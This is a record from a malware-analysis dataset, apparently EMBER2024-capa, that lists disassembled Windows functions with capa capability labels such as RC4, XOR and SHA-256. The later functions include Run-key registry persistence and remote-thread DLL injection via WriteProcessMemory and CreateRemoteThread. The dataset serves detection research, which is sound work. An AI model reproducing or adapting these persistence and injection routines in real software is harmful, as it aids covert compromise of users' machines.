joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5b3240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.0062f130
mov eax, dword [0x6d3f68]
xor eax, esp
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov eax, dword [esp + 0x38]
push esi
mov esi, dword [ecx]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test esi, esi
jns 0x5b3291
mov dword [ecx], 0xffffffff
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0062e5ad
add esp, 0x28
ret
push ebx
movzx ebx, byte [eax]
push ebp
lea ebp, [eax + 1]
shl ebx, 0x18
mov edx, ebp
mov dword [esp + 0x1c], ebp
movzx eax, byte [edx]
movzx ecx, byte [edx + 3]
shl eax, 0x10
or ebx, eax
shl ecx, 0x18
movzx eax, byte [edx + 1]
shl eax, 8
or ebx, eax
movzx eax, byte [edx + 2]
or ebx, eax
movzx eax, byte [edx + 4]
shl eax, 0x10
or ecx, eax
mov dword [esp + 0x10], ebx
movzx eax, byte [edx + 6]
mov dword [esp + 0x28], ecx
movzx ecx, byte [edx + 5]
mov edx, dword [esp + 0x28]
shl ecx, 8
or ecx, eax
mov byte [esp + 0x2b], bl
mov eax, ebx
or edx, ecx
shr eax, 0x18
mov byte [esp + 0x28], al
mov eax, ebx
shr eax, 0x10
mov byte [esp + 0x29], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2a], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x2c], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, edx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x40]
mov dword [esp + 0x14], edx
mov byte [esp + 0x2f], dl
test eax, eax
je 0x5b3400
mov ecx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x3c]
sub ecx, edi
mov dword [esp + 0x10], ecx
xor ebp, ebp
dec eax
mov dword [esp + 0x44], eax
test esi, esi
jne 0x5b33a8
push dword [esp + 0x1c]
lea eax, [esp + 0x18]
push eax
call fcn.005b2830
mov ebx, dword [esp + 0x1c]
add esp, 8
mov edx, dword [esp + 0x18]
mov eax, ebx
shr eax, 0x18
mov byte [esp + 0x2c], al
mov eax, ebx
mov ecx, dword [esp + 0x10]
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
inc ebp
mov byte [esp + 0x2f], bl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
mov al, byte [esp + esi + 0x2c]
inc esi
xor al, byte [edi]
and esi, 7
mov byte [ecx + edi], al
inc edi
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x5b3343
test ebp, ebp
mov ebp, dword [esp + 0x20]
pop edi
je 0x5b3400
mov ecx, dword [esp + 0x20]
mov eax, ebx
shr eax, 0x18
mov byte [ebp + 2], bl
mov byte [ebp + 6], dl
mov byte [ecx], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp], al
mov eax, ebx
shr eax, 8
mov byte [ebp + 1], al
mov eax, edx
shr eax, 0x18
mov byte [ebp + 3], al
mov eax, edx
shr eax, 0x10
mov byte [ebp + 4], al
mov eax, edx
shr eax, 8
mov byte [ebp + 5], al
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
pop ebp
pop ebx
mov dword [eax], esi
pop esi
xor ecx, esp
call fcn.0062e5ad
add esp, 0x28
ret

Function at 0x5ba8a0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x5ba8b4
mov dword [esp + 0x18], fcn.005b9080
jmp fcn.004e7be0
mov dword [esp + 0x18], fcn.005b8320
jmp fcn.004e78e0
Function at 0x5bcd80
Capabilities:
Hash data using sha1

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.004ff930
add esp, 4
test eax, eax
jne 0x5bcd94
pop esi
ret
lea eax, [esi + 0x5c]
pop esi
mov dword [esp + 4], eax
jmp fcn.004e6340

Function at 0x5c2af0
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0xa8
push 0
lea eax, [esi + 0x40]
push eax
call sub.VCRUNTIME140.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
mov dword [esi], 0xf3bcc908
mov dword [esi + 4], 0x6a09e667
mov dword [esi + 8], 0x84caa73b
mov dword [esi + 0xc], 0xbb67ae85
mov dword [esi + 0x10], 0xfe94f82b
mov dword [esi + 0x14], 0x3c6ef372
mov dword [esi + 0x18], 0x5f1d36f1
mov dword [esi + 0x1c], 0xa54ff53a
mov dword [esi + 0x20], 0xade682d1
mov dword [esi + 0x24], 0x510e527f
mov dword [esi + 0x28], 0x2b3e6c1f
mov dword [esi + 0x2c], 0x9b05688c
mov dword [esi + 0x30], 0xfb41bd6b
mov dword [esi + 0x34], 0x1f83d9ab
mov dword [esi + 0x38], 0x137e2179
mov dword [esi + 0x3c], 0x5be0cd19
movzx eax, byte [edx]
mov dword [esi + 0xe4], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
xor ecx, 0xf3bcc908
mov dword [esi], ecx
xor eax, 0x6a09e667
mov dword [esi + 4], eax
mov ecx, dword [edx + 8]
mov eax, dword [edx + 0xc]
xor ecx, 0x84caa73b
mov dword [esi + 8], ecx
xor eax, 0xbb67ae85
mov dword [esi + 0xc], eax
mov ecx, dword [edx + 0x10]
mov eax, dword [edx + 0x14]
xor ecx, 0xfe94f82b
mov dword [esi + 0x10], ecx
xor eax, 0x3c6ef372
mov dword [esi + 0x14], eax
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x1c]
xor ecx, 0x5f1d36f1
mov dword [esi + 0x18], ecx
xor eax, 0xa54ff53a
mov dword [esi + 0x1c], eax
mov ecx, dword [edx + 0x20]
mov eax, dword [edx + 0x24]
xor ecx, 0xade682d1
mov dword [esi + 0x20], ecx
xor eax, 0x510e527f
mov dword [esi + 0x24], eax
mov ecx, dword [edx + 0x28]
mov eax, dword [edx + 0x2c]
xor ecx, 0x2b3e6c1f
xor eax, 0x9b05688c
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], eax
mov ecx, dword [edx + 0x30]
mov eax, dword [edx + 0x34]
xor ecx, 0xfb41bd6b
xor eax, 0x1f83d9ab
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], eax
mov ecx, dword [edx + 0x38]
mov eax, dword [edx + 0x3c]
xor ecx, 0x137e2179
xor eax, 0x5be0cd19
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], eax
pop esi
ret
Function at 0x5c4900
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x58
push 0
lea eax, [esi + 0x20]
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov dword [esi], 0x6a09e667
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
movzx eax, byte [ecx]
mov dword [esi + 0x74], eax
mov eax, dword [ecx]
xor eax, 0x6a09e667
mov dword [esi], eax
mov eax, dword [ecx + 4]
xor eax, 0xbb67ae85
mov dword [esi + 4], eax
mov eax, dword [ecx + 8]
xor eax, 0x3c6ef372
mov dword [esi + 8], eax
mov eax, dword [ecx + 0xc]
xor eax, 0xa54ff53a
mov dword [esi + 0xc], eax
mov eax, dword [ecx + 0x10]
xor eax, 0x510e527f
mov dword [esi + 0x10], eax
mov eax, dword [ecx + 0x14]
xor eax, 0x9b05688c
mov dword [esi + 0x14], eax
mov eax, dword [ecx + 0x18]
xor eax, 0x1f83d9ab
mov dword [esi + 0x18], eax
mov eax, dword [ecx + 0x1c]
xor eax, 0x5be0cd19
mov dword [esi + 0x1c], eax
pop esi
ret
Function at 0x5d2970
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 4
call fcn.0062f130
push edi
mov edi, dword [esp + 0x14]
mov dword [esp + 4], 0
cmp edi, 0x800
jge 0x5d29b8
call fcn.004dd410
push str.ossl_rsa_fips186_4_gen_prob_primes
push 0x5c
push str.crypto_rsa_rsa_sp800_56b_gen.c
call fcn.004dd510
push 0
push 0x78
push 4
call fcn.004dd5c0
add esp, 0x18
xor eax, eax
pop edi
pop ecx
ret
push dword [esp + 0x18]
call fcn.005d26c0
add esp, 4
test eax, eax
jne 0x5d29f4
call fcn.004dd410
push str.ossl_rsa_fips186_4_gen_prob_primes
push 0x61
push str.crypto_rsa_rsa_sp800_56b_gen.c
call fcn.004dd510
push 0
push 0xb2
push 4
call fcn.004dd5c0
add esp, 0x18
xor eax, eax
pop edi
pop ecx
ret
push ebx
push ebp
push esi
mov esi, dword [esp + 0x28]
push esi
call fcn.0056ae30
push esi
call fcn.0056abe0
push esi
mov dword [esp + 0x2c], eax
call fcn.0056abe0
push esi
mov ebp, eax
call fcn.0056abe0
add esp, 0x10
mov ebx, eax
cmp dword [esp + 0x20], 0
je 0x5d2b56
test ebp, ebp
je 0x5d2b2d
test ebx, ebx
je 0x5d2b24
push 4
push ebp
call fcn.0050a660
push 4
push ebx
call fcn.0050a660
mov esi, dword [esp + 0x28]
add esp, 0x10
cmp dword [esi + 0x20], 0
jne 0x5d2a5e
call fcn.0050a530
mov dword [esi + 0x20], eax
cmp dword [esi + 0x24], 0
jne 0x5d2a6c
call fcn.0050a530
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x20]
test eax, eax
je 0x5d2b20
cmp dword [esi + 0x24], 0
je 0x5d2b20
push 4
push eax
call fcn.0050a660
push 4
push dword [esi + 0x24]
call fcn.0050a660
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push dword [esp + 0x3c]
push edi
push 0
push 0
push 0
push 0
push 0
push ebp
push dword [esi + 0x20]
call fcn.005ebe30
add esp, 0x3c
test eax, eax
je 0x5d2b20
nop word [eax + eax]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push edi
push 0
push 0
push 0
push 0
push 0
push ebx
push dword [esi + 0x24]
call fcn.005ebe30
add esp, 0x2c
test eax, eax
je 0x5d2b20
push edi
push ebx
push ebp
push dword [esp + 0x2c]
call fcn.005d2650
add esp, 0x10
test eax, eax
js 0x5d2b20
je 0x5d2ac0
push edi
push dword [esi + 0x24]
push dword [esi + 0x20]
push dword [esp + 0x2c]
call fcn.005d2650
add esp, 0x10
test eax, eax
js 0x5d2b20
je 0x5d2ac0
inc dword [esi + 0x78]
mov dword [esp + 0x10], 1
mov esi, dword [esp + 0x28]
push ebp
call fcn.00509c30
add esp, 4
test ebx, ebx
je 0x5d2b3a
push ebx
call fcn.00509c30
add esp, 4
push dword [esp + 0x20]
call fcn.00509c30
push esi
call fcn.0056aae0
mov eax, dword [esp + 0x18]
add esp, 8
pop esi
pop ebp
pop ebx
pop edi
pop ecx
ret
mov dword [esp + 0x10], 0
test ebp, ebp
je 0x5d2b2d
jmp 0x5d2b24
Function at 0x5e1960
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [edi + 0x84], 0xffffffff
je 0x5e1a34
push dword [edi]
call fcn.004dbfe0
mov esi, eax
add esp, 4
test esi, esi
js 0x5e1a34
mov eax, dword [esp + 0x14]
test eax, eax
je 0x5e1991
mov dword [eax], esi
push ebp
mov ebp, dword [esp + 0x14]
test ebp, ebp
je 0x5e1a2b
mov ecx, dword [edi + 0x84]
push ebx
cmp ecx, esi
jne 0x5e19ca
test esi, esi
jle 0x5e1a09
mov edx, ebp
lea ecx, [edi + 4]
mov ebx, esi
mov al, byte [ecx + 0x60]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub ebx, 1
jne 0x5e19b4
jmp 0x5e1a09
mov eax, esi
mov byte [ecx + edi + 0x64], 0x80
sub eax, ecx
cmp eax, 1
jle 0x5e19ea
dec eax
push eax
lea eax, [edi + 0x65]
add eax, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test esi, esi
jle 0x5e1a09
mov edx, ebp
lea ecx, [edi + 0x24]
mov ebx, esi
mov al, byte [ecx + 0x40]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub ebx, 1
jne 0x5e19f5
push esi
push ebp
push ebp
push dword [edi]
call fcn.004dc720
add esp, 0x10
pop ebx
test eax, eax
jne 0x5e1a2b
push esi
push ebp
call fcn.00401320
add esp, 8
xor eax, eax
pop ebp
pop edi
pop esi
ret
pop ebp
pop edi
mov eax, 1
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x5f0300
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.0062f130
mov edx, dword [esp + 0x2c]
xor eax, eax
push ebx
mov ebx, dword [esp + 0x1c]
or ecx, 0xffffffff
cmp edx, 1
push esi
setne al
mov esi, dword [ebx]
push edi
mov edi, dword [esp + 0x3c]
add eax, edi
mov dword [esp + 0x1c], esi
cmp eax, esi
jbe 0x5f0339
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x14
ret
push ebp
cmp edx, 1
je 0x5f0420
mov ebp, dword [esp + 0x30]
dec ebp
add ebp, esi
cmp dword [esp + 0x44], 0
mov cl, byte [ebp]
movzx edx, cl
mov byte [esp + 0x13], cl
mov dword [esp + 0x14], edx
je 0x5f0387
mov eax, dword [esp + 0x34]
sub esi, edx
sub esi, edi
dec esi
mov dword [ebx], esi
mov dword [eax], 0
mov eax, dword [esp + 0x38]
pop ebp
pop edi
pop esi
mov dword [eax], 0
mov eax, 1
pop ebx
add esp, 0x14
ret
lea ecx, [edx + eax]
mov ebx, esi
sub ebx, ecx
mov eax, esi
xor ebx, ecx
xor eax, ecx
or ebx, eax
mov eax, 0x100
xor ebx, esi
shr ebx, 0x1f
dec ebx
cmp esi, eax
cmovb eax, esi
xor edi, edi
mov dword [esp + 0x18], eax
test eax, eax
je 0x5f0400
mov esi, edx
shr edx, 0x1f
mov dword [esp + 0x1c], edx
nop dword [eax]
mov ecx, esi
lea ebp, [ebp - 1]
sub ecx, edi
mov eax, edi
shr ecx, 0x1f
inc edi
shr eax, 0x1f
xor cl, al
xor al, dl
or cl, al
movzx eax, byte [esp + 0x13]
xor cl, dl
dec cl
movzx edx, cl
movzx ecx, byte [ebp + 1]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
mov edx, dword [esp + 0x1c]
cmp edi, dword [esp + 0x18]
jb 0x5f03c0
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x40]
lea eax, [edx + 1]
mov edx, dword [esp + 0x3c]
not ebx
movzx ecx, bl
mov ebx, dword [esp + 0x28]
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub esi, eax
mov dword [ebx], esi
push dword [esp + 0x48]
push ecx
push edi
push edx
push dword [esp + 0x48]
push dword [esp + 0x48]
push dword [esp + 0x48]
push dword [esp + 0x48]
push ebx
call fcn.005efff0
add esp, 0x24
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x5f08e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x30
call fcn.0062f130
mov eax, dword [0x6d3f68]
xor eax, esp
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x38]
push ebx
push ebp
mov ebp, dword [esp + 0x44]
push esi
push edi
mov edi, dword [esp + 0x44]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x30]
test eax, eax
je 0x5f09f2
movups xmm0, xmmword [edi + 0x10]
mov ebx, dword [esp + 0x50]
lea esi, [edi + 0x10]
dec eax
mov dword [esp + 0x10], ebx
movups xmmword [esp + 0x2c], xmm0
and byte [esp + 0x38], 0x7f
lea ecx, [esp + 0x2c]
push 1
mov dword [edi + 0x30], eax
push ecx
psrldq xmm0, 8
movd eax, xmm0
push 0
push 0
and al, 0x7f
mov byte [esp + 0x44], al
mov eax, dword [edi + 0x20]
push 0
push eax
mov dword [esp + 0x30], eax
call fcn.004cbd00
add esp, 0x18
test eax, eax
je 0x5f09f2
push dword [esp + 0x10]
lea eax, [esp + 0x14]
push dword [esp + 0x18]
push eax
push ebp
push dword [esp + 0x28]
call fcn.004cc790
add esp, 0x14
test eax, eax
je 0x5f09f2
push ebx
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call fcn.005f0e90
add esp, 0x10
test eax, eax
je 0x5f09f2
lea eax, [esi + 0xf]
xor edx, edx
lea ecx, [esp + 0x1c]
cmp ecx, eax
ja 0x5f09c3
lea eax, [esp + 0x2b]
cmp eax, esi
jb 0x5f09c3
mov eax, ecx
sub esi, eax
lea ecx, [esp + 0x1c]
add ecx, edx
inc edx
mov al, byte [esi + ecx]
xor byte [ecx], al
cmp edx, 0x10
jl 0x5f09b0
jmp 0x5f09d4
movups xmm1, xmmword [esp + 0x1c]
movups xmm0, xmmword [esi]
pxor xmm1, xmm0
movups xmmword [esp + 0x1c], xmm1
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
or ecx, dword [esp + 0x24]
or eax, dword [esp + 0x28]
or ecx, eax
je 0x5f0a07
push ebx
push ebp
call fcn.00401320
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.0062e5ad
add esp, 0x30
ret
mov ecx, dword [esp + 0x3c]
mov eax, ebx
mov dword [edi + 0x2c], 0
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0062e5ad
add esp, 0x30
ret
Function at 0x635000
Capabilities:
Terminate process

Disassembly:
mov eax, 8
call fcn.0062f130
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
push ebx
xor edi, edi
call fcn.004d5600
add esp, 4
test eax, eax
jle 0x6351da
push edi
push ebx
call fcn.004d57c0
mov esi, eax
mov dword [esp + 0x18], 0
push 0x9c
push esi
xor ebp, ebp
call fcn.00635220
add esp, 0x10
test eax, eax
je 0x635051
mov eax, dword [eax + 4]
mov dword [esp + 0x10], eax
push 0x9d
push esi
call fcn.00635220
add esp, 8
test eax, eax
je 0x635066
mov ebp, dword [eax + 4]
push esi
call fcn.00635310
add eax, 0xffffff6a
add esp, 4
cmp eax, 5
ja case.0x63507d.153
jmp dword [eax*4 + 0x6351fc]
mov ebp, dword [esp + 0x28]
test ebp, ebp
je case.0x63507d.153
cmp dword [ebp], 0
jne case.0x63507d.153
push esi
call fcn.00635240
push eax
call fcn.0057cad0
add esp, 8
mov dword [ebp], eax
jmp 0x6351c4
mov ebp, dword [esp + 0x28]
test ebp, ebp
je case.0x63507d.153
cmp dword [ebp], 0
jne case.0x63507d.153
push dword [esp + 0x24]
push dword [esp + 0x24]
push esi
call fcn.00635320
mov esi, eax
add esp, 0xc
test esi, esi
je 0x6351f0
push esi
call fcn.0057cad0
push esi
mov dword [ebp], eax
call fcn.00556830
add esp, 8
cmp dword [ebp], 0
jmp 0x6351c6
cmp dword [esp + 0x2c], 0
je case.0x63507d.153
push esi
call fcn.006352d0
add esp, 4
cmp eax, 0x9e
jne case.0x63507d.153
push esi
call fcn.00635280
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x6351f0
test ebp, ebp
je 0x63514a
push dword [ebp]
push dword [ebp + 8]
push ebx
call fcn.004feac0
add esp, 0xc
test eax, eax
je 0x6351e7
mov eax, dword [esp + 0x10]
test eax, eax
je 0x63518b
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00534da0
add esp, 8
test eax, eax
js 0x63518b
push eax
push dword [esp + 0x18]
push ebx
call fcn.004fea30
push 0xec
push str.cryptopkcs12p12_kiss.c
push dword [esp + 0x28]
mov esi, eax
call fcn.004d90c0
add esp, 0x18
test esi, esi
je 0x6351e7
push ebx
push dword [esp + 0x30]
call fcn.004d5690
add esp, 8
test eax, eax
je 0x6351e7
mov ebx, dword [esp + 0x1c]
jmp case.0x63507d.153
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push esi
call fcn.00635260
add esp, 4
push eax
call fcn.00635000
add esp, 0x14
test eax, eax
je 0x6351f0
push ebx
inc edi
call fcn.004d5600
add esp, 4
cmp edi, eax
jl 0x635025
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 8
ret
push ebx
call fcn.004d4a00
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x622412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x69
je 0x62241337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x62241337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x62241337
mov eax, dword [ebp - 0x14]
cmp eax, 0x74
je 0x62241337
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x62241337
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
jne 0x6224137d
mov eax, dword [ebp - 0x14]
cmp eax, 0x43
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6c
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x65
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x72
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6f
je 0x62241376
mov eax, dword [ebp - 0x14]
cmp eax, 0x6e
je 0x62241376
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x6224137d
mov eax, 1
jmp 0x62241382
mov eax, 0
leave
ret

Function at 0x62241384
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x6224149c
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x622415ec
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x62241632
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6224167b
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x62241678
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6224167b
mov eax, dword [ebp - 0xc]
leave
ret